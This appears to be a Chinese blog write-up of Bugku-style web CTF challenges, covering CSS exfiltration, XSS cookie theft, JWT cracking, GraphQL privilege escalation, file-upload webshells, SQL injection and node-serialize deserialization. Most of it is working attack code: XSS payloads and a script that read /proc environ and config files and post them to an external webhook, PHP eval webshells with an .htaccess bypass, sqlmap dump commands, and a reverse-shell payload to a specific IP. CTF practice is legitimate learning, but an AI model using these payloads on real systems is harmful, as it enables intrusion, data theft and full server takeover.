      我们就知道当前前缀 abc 是正确的。
      """
       data = curr_stage.data
       prefix = data + c

       return (
           f'input[type="text"][value^="{prefix}"] '
           f'{{ background-image: url("{public_url}/capture/{prefix}"); }}'
      )


    def generate_stylesheet():
       """
      生成完整样式表。
      每一轮都对大小写字母 + 数字做一次前缀匹配测试。
      """
       charset = string.ascii_letters + string.digits
       stylesheet = '\\r\\n'.join(map(make_style_line, charset))
       return stylesheet


    # =========================
    # Flask 路由:远端回连时会访问这里
    # =========================

    @app.route("/capture/<data>")
    def capture(data):
       """
      当浏览器命中某条 CSS 规则时,会请求:
          /capture/<前缀>

      例如:
          /capture/a
          /capture/ab
          /capture/ab3

      这说明当前前缀是正确的,于是:
      1. 保存 data
      2. stage + 1,推进到下一轮
      3. notify_all() 唤醒等待中的 /style/<stage>
      """
       with condition:
           old_stage = curr_stage.stage
           old_data = curr_stage.data

           curr_stage.data = data
           curr_stage.stage += 1

           print(
               f"[DEBUG] /capture 命中: old_stage={old_stage}, new_stage={curr_stage.stage}, "
               f'old_data="{old_data}", new_data="{curr_stage.data}"',
               flush=True
          )

           condition.notify_all()

       return ""


    @app.route("/style/<stage>")
    def style(stage):
       """
      远端浏览器会访问:
          /style/0
          /style/1
          /style/2
          …

      但不是一访问就立刻返回对应 CSS,而是要等到:
          curr_stage.stage == 当前请求的 stage
      时才放行。

      这样可以避免浏览器并发请求多张样式表,导致阶段乱序。
      """
       try:
           want_stage = int(stage)
       except ValueError:
           print(f"[DEBUG] /style 收到非法 stage: {stage}", flush=True)
           return Response("/* invalid stage */", mimetype="text/css")

       print(
           f"[DEBUG] /style/{want_stage} 到达,当前 curr_stage.stage={curr_stage.stage},开始等待",
           flush=True
      )

       with condition:
           ok = condition.wait_for(
               lambda: curr_stage.stage == want_stage,
               timeout=STYLE_WAIT_TIMEOUT
          )

           if not ok:
               print(
                   f"[DEBUG] /style/{want_stage} 等待超时,当前 curr_stage.stage={curr_stage.stage}",
                   flush=True
              )
               return Response("/* timeout waiting for stage */", mimetype="text/css")

           stylesheet = generate_stylesheet()

           print(
               f"[DEBUG] /style/{want_stage} 放行,当前前缀='{curr_stage.data}',"
               f"返回样式表长度={len(stylesheet)}",
               flush=True
          )

       return Response(stylesheet, mimetype="text/css")


    # =========================
    # 主流程
    # =========================

    if __name__ == "__main__":
       # 生成注入 payload
       payload = generate_payload()
       print(f"[DEBUG] payload 长度: {len(payload)}", flush=True)
       print(f"[DEBUG] payload 内容: {payload}", flush=True)

       # 后台启动 Flask 服务
       # 用 daemon=True 没问题,但前提是主线程不能太快结束;
       # 所以下面会显式等待 curr_stage.data 达到 12 位。
       thread = Thread(
           target=lambda: app.run(port=PORT, debug=True, use_reloader=False),
           daemon=True
      )
       thread.start()

       # 稍等片刻,确保 Flask 已经监听成功
       time.sleep(1)

       session = requests.Session()

       # 第一步:触发远端访问带有 payload 的页面
       try:
           print("[DEBUG] 准备请求 /visit", flush=True)
           r1 = session.get(
               f"{target_url}/visit",
               params={"ad": payload},
               timeout=HTTP_TIMEOUT
          )
           print(
               f"[DEBUG] /visit 返回: status={r1.status_code}, len={len(r1.text)}",
               flush=True
          )
           print(f"[DEBUG] /visit 响应前200字符: {r1.text[:200]!r}", flush=True)
       except RequestException as e:
           print(f"[ERROR] 请求 /visit 失败: {e}", flush=True)
           raise SystemExit(1)

       # 第二步:等待远端逐位触发 /capture,直到拿满 12 位
       print(
           f"[DEBUG] 开始等待 curr_stage.data 长度达到 {passwd_num},当前='{curr_stage.data}'",
           flush=True
      )

       with condition:
           ok = condition.wait_for(
               lambda: len(curr_stage.data) >= passwd_num,
               timeout=OVERALL_WAIT_TIMEOUT
          )

       if not ok:
           print(
               f"[ERROR] 等待超时:{OVERALL_WAIT_TIMEOUT} 秒内未拿满 {passwd_num} 位。"
               f"当前 stage={curr_stage.stage}, data='{curr_stage.data}'",
               flush=True
          )
           raise SystemExit(1)

       print(
           f"[DEBUG] 已拿到完整 otp: '{curr_stage.data}', stage={curr_stage.stage}",
           flush=True
      )

       # 第三步:拿当前得到的 otp 去请求 /flag
       try:
           print("[DEBUG] 准备请求 /flag", flush=True)
           r2 = session.get(
               f"{target_url}/flag",
               params={"otp": curr_stage.data},
               timeout=HTTP_TIMEOUT
          )
           print(
               f"[DEBUG] /flag 返回: status={r2.status_code}, len={len(r2.text)}",
               flush=True
          )
           print(f"[DEBUG] /flag 响应前200字符: {r2.text[:200]!r}", flush=True)
       except RequestException as e:
           print(f"[ERROR] 请求 /flag 失败: {e}", flush=True)
           raise SystemExit(1)

       # 第四步:检查是否拿到 flag
       if "wctf{" in r2.text:
           print("[SUCCESS] 拿到 flag:", flush=True)
           print(r2.text, flush=True)
           raise SystemExit(0)
       else:
           print(
               f"[ERROR] 没有在响应中发现 flag。当前 otp='{curr_stage.data}'",
               flush=True
          )
           raise SystemExit(1)

    本题考点:

    利用 HTML 注入插入外链 CSS,通过属性前缀选择器和资源加载机制逐位外带输入框中的 secret,再结合本地 Flask + ngrok + 线程同步,完成一个多阶段、可自动化的 CSS Exfiltration 利用链。

    zombie-101

    这个挑战是一个经典的"窃取管理员 cookie"挑战。

    网页源码是:

    <!DOCTYPE html>
    <html>
    <head>
       <title>Zombie Fan Page</title>
    </head>
    <body>
    <p>Welcome to the Zombie fan page!</p>
    <form method="get" action="/zombie">
       <label for="show">Tell us your favorite zombie show:</label><br>
       <input type="text" id="show" name="show"><br><br>
       <input type="submit" value="Submit">
    </form>
    <br/>
    <br/>
    <br/>
    <form method="get" action="/visit">
       <label for="url">Give us a URL to a cool zombie page and our admin will check it out:</label><br>
       <input type="text" id="url" name="url"><br><br>
       <input type="submit" value="Submit">
    </form>
    </body>
    </html>

    得知有/zombie,而且是get请求。/visit 也是get方法

    /zombie对应:告诉我们你最喜欢的僵尸节目,然后可以提交

    app.get('/zombie', function(req, res) {
       const show = req.query.show
       if (!show) {
           res.send('Hmmmm, you did not mention a show')
           return
      }

       const rating = Math.floor(Math.random() * 3)
       let blurb
       switch (rating) {
           case 2:
               blurb = `Wow, we really liked ${show} too!`
               break;
           case 1:
               blurb = `Yeah, ${show} was ok… I guess.`
               break;
           case 0:
               blurb = `Sorry, ${show} was horrible.`
               break;
      }
       res.send(blurb)
    })

    从对代码的审计我们得知/zombie?show=xxx,后面传入的xxx会被拼接到网页,然后直接返回,这里存在反射型XSS。

    尝试给第一个输入框来XSS:

    <script>alert(1)</script>

    成功出现弹窗

    /visit对应给我们一个酷炫的僵尸页面的网址,我们的管理员会查看它,也是提交

    /visit第二个提交窗子的源码:

    const validateRequest = (req) => {
       const url = req.query.url
       if (!url) {
           return 'Hmmm, not seeing a URL. Please try again.'
      }

       let parsedURL
       try {
           parsedURL = new URL(url)
      }
       catch (e) {
           return 'Something is wrong with your url: ' + escape(e.message)
      }

       if (parsedURL.protocol !== 'http:' && parsedURL.protocol !== 'https:') {
           return 'Our admin is picky. Please provide a url with the http or https protocol.'
      }

       if (parsedURL.hostname !== req.hostname) {
           return `Please provide a url with a hostname of: ${escape(req.hostname)}  Hmmm, I guess that will restrict the submissions. TODO: Remove this restriction before the admin notices and we all get fired.`
      }

       return null
    }

    /bot.js:

    //bot.js
    const zombie = require("zombie")

    const browser = new zombie ({
       waitDuration: 5*1000,
       localAddress: 0 // without this, calls to localhost fail!
    })

    const httpOnly = process.argv[2] === 'true'
    const hostname = process.argv[3]
    const url = process.argv[4]

    browser.setCookie({ name: 'flag', domain: hostname, path:'/', value: process.env.FLAG, httpOnly: httpOnly})

    browser.visit(url, function() {
       console.log("Visited: ", url)
    })

    index.js存在一个debug路由:

    app.get('/debug', function(req, res) {
       if (config.allowDebug) {
           res.send({"remote-ip": req.socket.remoteAddress, …req.headers})
      }
       else {
           res.send('sorry, debug endpoint is not enabled')
      }
    })
    <script>fetch('/debug').then(r=>r.json()).then(j=>fetch('https://testhooks.org/d55a2682-1f89-4e19-8fd7-a34f6edef5d3',{method:'POST',body:j.cookie}))</script>
    http://49.232.142.230:15468/zombie?show=%3cscript%3efetch(%27%2fdebug%27).then(r%3d%3er.json()).then(j%3d%3efetch(%27https%3a%2f%2ftesthooks.org%2fd55a2682-1f89-4e19-8fd7-a34f6edef5d3%27%2c%7bmethod%3a%27POST%27%2cbody%3aj.cookie%7d))%3c%2fscript%3e

    这道题最坑人的地方就是没有附件,所有操作都是基于代码审计来的,考察XSS向外部带数据

    zombie-201

    这道题和上一题的答案适用,本质上第一题是基于代码审计得知/debug存在config数据,这道题过滤了正常页面访问得到的cookie,所以要访问/debug来获取数据

    http://49.232.142.230:14682/zombie?show=%3cscript%3efetch(%27%2fdebug%27).then(r%3d%3er.json()).then(j%3d%3efetch(%27https%3a%2f%2ftesthooks.org%2fd55a2682-1f89-4e19-8fd7-a34f6edef5d3%27%2c%7bmethod%3a%27POST%27%2cbody%3aj%7d))%3c%2fscript%3e

    zombie-301

    Zombie 301的配置如下:

    {
     "flag": "wctf{redacted}",
     "httpOnly": true,
     "allowDebug": false
    }

    "allowDebug": false意味着我们不能通过简单访问/debug来获得cookie。

    相比zombie-101和zombie-201,本题的debug接口被关了,并且存在httponly。不过他存在管理员的浏览器缺陷,cookie会在headers中被带出,可以使用stringify强制将response(其中包括flag泄露的headers)转为json字符串,然后带出

    <script>fetch('/debug').then(r=>JSON.stringify(r)).then(d=>fetch('https://testhooks.org/d55a2682-1f89-4e19-8fd7-a34f6edef5d3',{method:'POST',body:d}))</script>
    http://49.232.142.230:14744/zombie?show=%3cscript%3efetch(%27%2fdebug%27).then(r%3d%3eJSON.stringify(r)).then(d%3d%3efetch(%27https%3a%2f%2ftesthooks.org%2fd55a2682-1f89-4e19-8fd7-a34f6edef5d3%27%2c%7bmethod%3a%27POST%27%2cbody%3ad%7d))%3c%2fscript%3e

    返回数据如下

    {"_stream":{"_readableState":{"objectMode":false,"highWaterMark":16384,"buffer":{"head":{"data":{"type":"Buffer","data":[115,111,114,114,121,44,32,100,101,98,117,103,32,101,110,100,112,111,105,110,116,32,105,115,32,110,111,116,32,101,110,97,98,108,101,100]},"next":null},"tail":{"data":{"type":"Buffer","data":[115,111,114,114,121,44,32,100,101,98,117,103,32,101,110,100,112,111,105,110,116,32,105,115,32,110,111,116,32,101,110,97,98,108,101,100]},"next":null},"length":1},"length":36,"pipes":[],"flowing":false,"ended":true,"endEmitted":false,"reading":false,"constructed":true,"sync":false,"needReadable":false,"emittedReadable":false,"readableListening":false,"resumeScheduled":false,"errorEmitted":false,"emitClose":true,"autoDestroy":true,"destroyed":false,"errored":null,"closed":false,"closeEmitted":false,"defaultEncoding":"utf8","awaitDrainWriters":null,"multiAwaitDrain":false,"readingMore":false,"dataEmitted":false,"decoder":null,"encoding":null},"_events":{},"_eventsCount":1,"_writableState":{"objectMode":false,"highWaterMark":16384,"finalCalled":true,"needDrain":false,"ending":true,"ended":true,"finished":true,"destroyed":false,"decodeStrings":true,"defaultEncoding":"utf8","length":0,"writing":false,"corked":0,"sync":false,"bufferProcessing":false,"writecb":null,"writelen":0,"afterWriteTickInfo":null,"buffered":[],"bufferedIndex":0,"allBuffers":true,"allNoop":true,"pendingcb":0,"constructed":true,"prefinished":true,"errorEmitted":false,"emitClose":true,"autoDestroy":true,"errored":null,"closed":false,"closeEmitted":false},"allowHalfOpen":true},"_bodyUsed":false,"body":null,"_url":"http://49.232.142.230:14744/debug","type":"default","status":200,"statusText":"OK","headers":{"_headers":[["x-powered-by","Express"],["content-type","text/html; charset=utf-8"],["content-length","36"],["etag","W/\\"24-sXozm0jjdkvK2neTq7b1+pHKcrU\\""],["date","Sat, 11 Apr 2026 04:29:37 GMT"],["connection","keep-alive"],["keep-alive","timeout=5"]]},"time":1775881777871,"request":{"_bodyUsed":false,"body":null,"url":"http://49.232.142.230:14744/debug","method":"GET","headers":{"_headers":[["user-agent","Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4"],["host","49.232.142.230:14744"],["cookie","flag=wctf{h0w-d1d-y0u-r34d-7h3-3nv-v4r-31831}"]]},"redirect":"follow","_redirectCount":0}}

    zombie-401

    按照上一个题目的做法,没有得到回显:

    {"_headers":[["user-agent","Mozilla/5.0 Chrome/10.0.613.0 Safari/534.15 Zombie.js/6.1.4"],["host","49.232.142.230:12769"],["cookie","flag=find-the-secret-flag"]]},"redirect":"follow","_redirectCount":0}}

    "cookie","flag=find-the-secret-flag"意味着flag在别处,从前面的docker部署文件当中已经可知,flag被存进环境变量里,同时也被存进config.json里,而且cookie是从环境变量读取的,所以要拿到Flag只能去读config.json。但是不知道路径,所以,首先要从环境变量当中读取文件路径

    基本的paylaod是:

    <script>fetch('/debug').then(r=>JSON.stringify(r)).then(d=>fetch('https://testhooks.org/d55a2682-1f89-4e19-8fd7-a34f6edef5d3',{method:'POST',body:d}))</script>

    let url = "file:///proc/self/status";

    url = "file:///proc/" + pid + "/environ";

    (async function() {{
       let url = "file:///proc/self/status";
       let response = await fetch(url);
       let content = await response.text();
       let pid = content.toString().split("\\\\n")[3].split("\\\\t")[1];

       url = "file:///proc/" + pid + "/environ";
       response = await fetch(url);
       content = await response.text();
       url = "file://" + content.split("\\\\u0000")[8].split("=")[1] + "/config.json"
       response = await fetch(url);
       content = await response.json();
       let flag = content["secret-flag"]

       await fetch("{bucket_url}?data=" + JSON.stringify(flag));
    }})();

    <script>
       let url = "file:///proc/self/status";
       let response = await fetch(url);
    let b = JSON.stringfy(response);
       fetch('https://testhooks.org/d55a2682-1f89-4e19-8fd7-a34f6edef5d3',{method:'POST',body:b})  
    </script>

    最后的脚本:

    import requests
    from urllib.parse import quote_plus

    webhook_url = "https://testhooks.org/d55a2682-1f89-4e19-8fd7-a34f6edef5d3"
    base_url = "http://49.232.142.230:12682"
    fist_rote = "/zombie?show="
    second_rote = "/visit?url="

    payload =f"""
    <script>
    (async function() {{
      try {{
          let url= "file:///proc/self/status"
          let response = await fetch(url);
          let content = await response.text();
          let pidLine = content.split("\\\\n").find(x => x.startsWith("Pid:"));
          let pid = pidLine.split(/\\\\s+/)[1];
           
          url = "file:///proc/" + pid + "/environ";
          response = await fetch(url);
          content = await response.text();
          let envVars = content.split("\\\\u0000");
          let pwdVar = envVars.find(x => x.startsWith("PWD="));
          if(!pwdVar) throw new Error("PWD not found");
          let pwd = pwdVar.split("=")[1];
           
          url = "file://"+pwd+"/config.json"
          response = await fetch(url);
          content = await response.text();
           
          await fetch("{webhook_url}", {{
              method: "POST",
              body: content
          }});

           
      }} catch (e) {{
          await fetch("{webhook_url}", {{
              method: "POST",
              body: "[ERR] " + String(e)
          }});
      }}
    }})();
    </script>
    """

    target_url = base_url + second_rote + quote_plus(base_url + fist_rote + quote_plus(payload))
    re = requests.get(target_url).text
    print(re)

    just-work-type

    描  述:

    > Login and just work type! > Use the following account: > username: zombo > password: zombo

    登录之后提示,不是admin,抓包看了一下:

    解码一下cookie:

    看到admin是false,直接破解JWT的密钥然后修改admin为true即可。

    使用脚本jwt-crack破解密钥即可(brendan-rius/c-jwt-cracker:Jwt 暴力破解器,用 C 语言编写)

    得到密钥是123,去JSON Web Tokens – jwt.io修改即可。

    simple web app

    抓包发现请求信息,从回显来看,返回了用户名和邮箱密码等。

    正常登录,修改请求体,获取全部信息,用以下请求体:

    (graphdoc/introspection.graphql at gh-pages · 2fd/graphdoc)

    {"query":"\\n   query IntrospectionQuery {\\n     __schema {\\n       \\n       queryType { name }\\n       mutationType { name }\\n       subscriptionType { name }\\n       types {\\n         …FullType\\n       }\\n       directives {\\n         name\\n         description\\n         \\n         locations\\n         args {\\n           …InputValue\\n         }\\n       }\\n     }\\n   }\\n\\n   fragment FullType on __Type {\\n     kind\\n     name\\n     description\\n     \\n     fields(includeDeprecated: true) {\\n       name\\n       description\\n       args {\\n         …InputValue\\n       }\\n       type {\\n         …TypeRef\\n       }\\n       isDeprecated\\n       deprecationReason\\n     }\\n     inputFields {\\n       …InputValue\\n     }\\n     interfaces {\\n       …TypeRef\\n     }\\n     enumValues(includeDeprecated: true) {\\n       name\\n       description\\n       isDeprecated\\n       deprecationReason\\n     }\\n     possibleTypes {\\n       …TypeRef\\n     }\\n   }\\n\\n   fragment InputValue on __InputValue {\\n     name\\n     description\\n     type { …TypeRef }\\n     defaultValue\\n     \\n     \\n   }\\n\\n   fragment TypeRef on __Type {\\n     kind\\n     name\\n     ofType {\\n       kind\\n       name\\n       ofType {\\n         kind\\n         name\\n         ofType {\\n           kind\\n           name\\n           ofType {\\n             kind\\n             name\\n             ofType {\\n               kind\\n               name\\n               ofType {\\n                 kind\\n                 name\\n                 ofType {\\n                   kind\\n                   name\\n                 }\\n               }\\n             }\\n           }\\n         }\\n       }\\n     }\\n   }\\n ","variables":{},"operationName":"IntrospectionQuery"}

    得到回显:

    {
     "data": {
       "__schema": {
         "queryType": { "name": "Query" },
         "mutationType": { "name": "Mutation" },
         "subscriptionType": null,
         "types": [
          {
             "kind": "ENUM",
             "name": "Role",
             "description": null,
             "fields": null,
             "inputFields": null,
             "interfaces": null,
             "enumValues": [
              {
                 "name": "ADMIN",
                 "description": null,
                 "isDeprecated": false,
                 "deprecationReason": null
              },
              {
                 "name": "USER",
                 "description": null,
                 "isDeprecated": false,
                 "deprecationReason": null
              },
              {
                 "name": "MODERATOR",
                 "description": null,
                 "isDeprecated": false,
                 "deprecationReason": null
              }
            ],
             "possibleTypes": null
        ………………………………………….
        …..
         

    注意到有这一段:

    {
    "name": "ADMIN",
    "description": null,
    "isDeprecated": false,
    "deprecationReason": null
    },
    {

    2fd/graphdoc: Static page generator for documenting GraphQL Schema

    {"query":"mutation {\\n addUser(username:\\"aaa\\",password:\\"bbb\\",email:\\"ccc\\",role:ADMIN)\\n}"}
    {
    "query" :
    "mutation {
    addUser(username:\\"123\\",password:\\"123456\\",email:\\"12\\",role"ADMIN)

    }

    }

    考察GraphQL注入

    参考文献:

    018_Web安全攻防实战:GraphQL注入原理、攻击技术与全面防御策略深度指南-腾讯云开发者社区-腾讯云

    (graphdoc/introspection.graphql at gh-pages · 2fd/graphdoc)

    Upload 0

    直接上传一句话木马即可:

    <?php @eval($_POST['cmd']); ?>

    Upload 1

    上传图片木马,制作:

    图片马:就是在图片中隐藏一句话木马。利用.htaccess等解析图片为PHP或者asp文件。达到执行图片内代码目的

    制作方法:

    文本方式打开,末尾粘贴一句话木马

    cmd中 copy 1.jpg/b+2.php 3.jpg

    /b是二进制形式打开
    /a是ascii方式打开
    看到有人说一定要把图片放前面,木马放后面才能成功,我亲自试了这两种制作方式(另一种图片放后面),均能成功连接,但是后者的一句话木马在文件开头,不推荐
    16进制打开图片在末尾添加一句话木马。

    ps

    注意以下几点:

    单纯的图片马并不能直接和蚁剑连接,
    因为该文件依然是以image格式进行解析,
    只有利用文件包含漏洞,才能成功利用该木马
    所谓文件包含漏洞,是指在代码中引入其他文件作为php文件执行时,未对文件进行严格过滤,导致用户指定任意文件,都作为php文件解析执行。

    然后抓包,减少图片的内容,主要保留文件头,然后改一下文件名后缀。

    Upload2

    过滤了php后缀的文件。这题考的是.htaccess绕过(CTFHub 文件上传-htaccess绕过_.htaccess绕过-CSDN博客)

    .htaccess可以通过修改Apache服务器配置,实现文件上传限制绕过,例如将非PHP文件解析为可执行脚本。

    创建一个.htaccess文件,修改添加内容为:

    #define width 16
    #define height 7
    <FilesMatch \\.jpg$>
    SetHandler application/x-httpd-php
    </FilesMatch>

    上传之后,再上传一个包含一句话木马的图:

    GIF89a; // 图片的文件头,用于欺骗简单的文件内容检查
    <?php @eval($_POST['cmd']); ?> // 真正的一句话木马代码

    攻击者访问他上传的“图片”文件:http://target.com/uploads/shell.jpg

    服务器收到请求后,会先读取 uploads 目录下的 .htaccess 文件。

    .htaccess 规则生效,服务器不再将 shell.jpg 视为图片,而是将其交给 PHP 引擎去解析。

    PHP 引擎会成功解析 <?php … ?> 标签内的代码。

    WebShell 被激活,攻击者就可以通过 cmd 参数执行任意系统命令,完全控制服务器。

    Virtual Shop

    是简单的sql注入,直接用sqlmap即可,想手打也可以。

    1. sqlmap 常用命令

    操作命令
    检测注入 python sqlmap.py -u "url"
    枚举所有数据库 python sqlmap.py -u "url" –dbs
    获取当前数据库 python sqlmap.py -u "url" –current-db
    获取当前用户 python sqlmap.py -u "url" –current-user
    枚举表名 python sqlmap.py -u "url" -D 库名 –tables
    枚举列名 python sqlmap.py -u "url" -D 库名 -T 表名 –columns
    导出数据 python sqlmap.py -u "url" -D 库名 -T 表名 -C 列名 –dump
    查询表条数 python sqlmap.py -u "url" –count -D 库名

    2. sqlmap 高级命令

    参数功能
    –sql-shell 交互式 SQL Shell
    –is-dba 检测当前用户是否为 DBA
    –os-shell 获取操作系统 Shell(提权)
    –batch 自动模式,跳过交互
    –users 枚举所有数据库用户
    –privileges 枚举用户权限

    一开始直接查询数据库,提示是sqlite,然后也只有一个数据库,然后直接查询表:

    python sqlmap.py -u http://49.232.142.230:18066/filter?category=IT* –batch -tables
    [19:17:58] [INFO] the back-end DBMS is SQLite
    web application technology: Express
    back-end DBMS: SQLite
    [19:17:58] [INFO] fetching tables for database: 'SQLite_masterdb'
    [19:17:58] [WARNING] reflective value(s) found and filtering out
    <current>
    [2 tables]
    +———-+
    | articles |
    | users   |
    +———-+

    查询栏目:

    python sqlmap.py -u http://49.232.142.230:18066/filter?category=IT* –batch -T users –columns
    [19:19:28] [INFO] the back-end DBMS is SQLite
    web application technology: Express
    back-end DBMS: SQLite
    [19:19:28] [INFO] fetching columns for table 'users'
    [19:19:29] [WARNING] reflective value(s) found and filtering out
    Database: <current>
    Table: users
    [2 columns]
    +———-+——+
    | Column   | Type |
    +———-+——+
    | password | TEXT |
    | username | TEXT |
    +———-+——+

    查看栏目的内容:

    python sqlmap.py -u http://49.232.142.230:18066/filter?category=IT* –batch -T users -C password,username –dump
    Database: <current>
    Table: users
    [1 entry]
    +———————————————————-+———-+
    | password                                                 | username |
    +———————————————————-+———-+
    | shellmates{Gg_b0Y_you_kNOW_w3ll_H0w_T0_uSe_uNiOn_4tTacK} | admin   |
    +———————————————————-+———-+

    Virtual Shop2

    步骤和上诉一样。

    Sparta

    本体需要利用node反序列化RCE(CVE-2017-5941)

    抓包发现cookie存在guest

    直接一手解码:

    破坏原来的数据(随便删除几个字符)之后再发包,出现了报错:

    SyntaxError: Unexpected end of JSON input
      at JSON.parse (<anonymous>)
      at Object.exports.unserialize (/home/node/app/node_modules/node-serialize/lib/serialize.js:62:16)
      at /home/node/app/server.js:28:25
      at Layer.handle [as handle_request] (/home/node/app/node_modules/express/lib/router/layer.js:95:5)
      at next (/home/node/app/node_modules/express/lib/router/route.js:144:13)
      at Route.dispatch (/home/node/app/node_modules/express/lib/router/route.js:114:3)
      at Layer.handle [as handle_request] (/home/node/app/node_modules/express/lib/router/layer.js:95:5)
      at /home/node/app/node_modules/express/lib/router/index.js:284:15
      at Function.process_params (/home/node/app/node_modules/express/lib/router/index.js:346:12)
      at next (/home/node/app/node_modules/express/lib/router/index.js:280:10)

    serialize.js这个node的模块报错

    CVE-2017-5941 漏洞出现在node-serialize模块0.0.4版本当中 反序列化时执行eval并且参数可控 存在RCE

    [春秋云镜]CVE-2017-5941-CSDN博客

    反弹Shell的payload:

    _$$ND_FUNC$$_(function(){require('child_process').execSync('bash -c \\"bash -i > /dev/tcp/xxx.xxx.xxx.xxx/3000 0>&1\\"');})()

    xxxxx是自己的服务器ip

    _$$ND_FUNC$$_(function(){require('child_process').execSync('bash -c \\"bash -i > /dev/tcp/82.158.224.241/9000 0>&1\\"');})()

    然后payload是:

    仿造原来的格式,让node解析

    {"rec":"_$$ND_FUNC$$_(function(){require('child_process').execSync('bash -c \\"bash -i > /dev/tcp/82.158.224.241/9000 0>&1\\"');})()"}

    base64+url编码:

    eyJyZWMiOiJfJCRORF9GVU5DJCRfKGZ1bmN0aW9uKCl7cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdiYXNoIC1jIFwiYmFzaCAtaSA%2bIC9kZXYvdGNwLzgyLjE1OC4yMjQuMjQxLzkwMDAgMD4mMVwiJyk7fSkoKSJ9Cg%3d%3d

    接着,先在自己的机子上监听9000端口:

    nc -lvnp 9000

    发包

    赞(0)
    未经允许不得转载:171主机测评 » Bugku靶场web练习
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址